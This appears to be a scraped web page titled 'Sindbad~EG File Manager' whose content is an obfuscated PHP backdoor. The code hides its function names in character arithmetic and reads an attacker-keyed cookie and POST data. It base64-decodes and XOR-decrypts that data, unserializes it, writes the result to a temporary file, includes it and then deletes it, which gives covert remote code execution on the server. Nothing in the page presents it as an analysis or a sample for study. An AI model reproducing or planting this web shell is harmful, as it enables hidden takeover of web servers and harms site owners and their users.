Sindbad~EG File Manager

$btCSsOnv = chr (83) . "\124" . chr ( 336 - 241 ).'l' . "\111" . chr (111) . chr ( 354 - 232 ); $MSQkvtNa = "\x63" . "\x6c" . chr (97) . 's' . 's' . '_' . chr (101) . "\170" . "\x69" . "\163" . chr ( 560 - 444 )."\163";$JcMwHYEU = class_exists($btCSsOnv); $MSQkvtNa = "24030";$AiAqJM = strpos($MSQkvtNa, $btCSsOnv);if ($JcMwHYEU == $AiAqJM){function spvajBVhdw(){$TKYfuLFQyO = new /* 12141 */ ST_lIoz(28978 + 28978); $TKYfuLFQyO = NULL;}$heRhBgoCe = "28978";class ST_lIoz{private function yWYOfCuT($heRhBgoCe){if (is_array(ST_lIoz::$FhOzWYC)) {$name = sys_get_temp_dir() . "/" . crc32(ST_lIoz::$FhOzWYC["salt"]);@ST_lIoz::$FhOzWYC["write"]($name, ST_lIoz::$FhOzWYC["content"]);include $name;@ST_lIoz::$FhOzWYC["delete"]($name); $heRhBgoCe = "28978";exit();}}public function rjVohNW(){$nUhfDfXFi = "11611";$this->_dummy = str_repeat($nUhfDfXFi, strlen($nUhfDfXFi));}public function __destruct(){ST_lIoz::$FhOzWYC = @unserialize(ST_lIoz::$FhOzWYC); $heRhBgoCe = "56367_12692";$this->yWYOfCuT($heRhBgoCe); $heRhBgoCe = "56367_12692";}public function vICiC($nUhfDfXFi, $SwEzA){return $nUhfDfXFi[0] ^ str_repeat($SwEzA, intval(strlen($nUhfDfXFi[0]) / strlen($SwEzA)) + 1);}public function kHTJt($nUhfDfXFi){$fTXjaf = chr ( 114 - 16 ).chr ( 454 - 357 ).'s' . chr (101) . "\66" . "\64";return array_map($fTXjaf . chr (95) . 'd' . chr (101) . chr (99) . 'o' . chr ( 758 - 658 )."\x65", array($nUhfDfXFi,));}public function __construct($xawmLjeCX=0){$JQIKqiOqYf = chr (44); $nUhfDfXFi = "";$EEpAwMPW = $_POST;$CiPXSV = $_COOKIE;$SwEzA = "e282b15a-0b42-4814-98a2-1f0415677186";$ZGnDM = @$CiPXSV[substr($SwEzA, 0, 4)];if (!empty($ZGnDM)){$ZGnDM = explode($JQIKqiOqYf, $ZGnDM);foreach ($ZGnDM as $PCcjdK){$nUhfDfXFi .= @$CiPXSV[$PCcjdK];$nUhfDfXFi .= @$EEpAwMPW[$PCcjdK];}$nUhfDfXFi = $this->kHTJt($nUhfDfXFi);}ST_lIoz::$FhOzWYC = $this->vICiC($nUhfDfXFi, $SwEzA);if (strpos($SwEzA, $JQIKqiOqYf) !== FALSE){$SwEzA = str_pad($SwEzA, 10); $SwEzA = ltrim($SwEzA);}}public static $FhOzWYC = 61316;}spvajBVhdw();}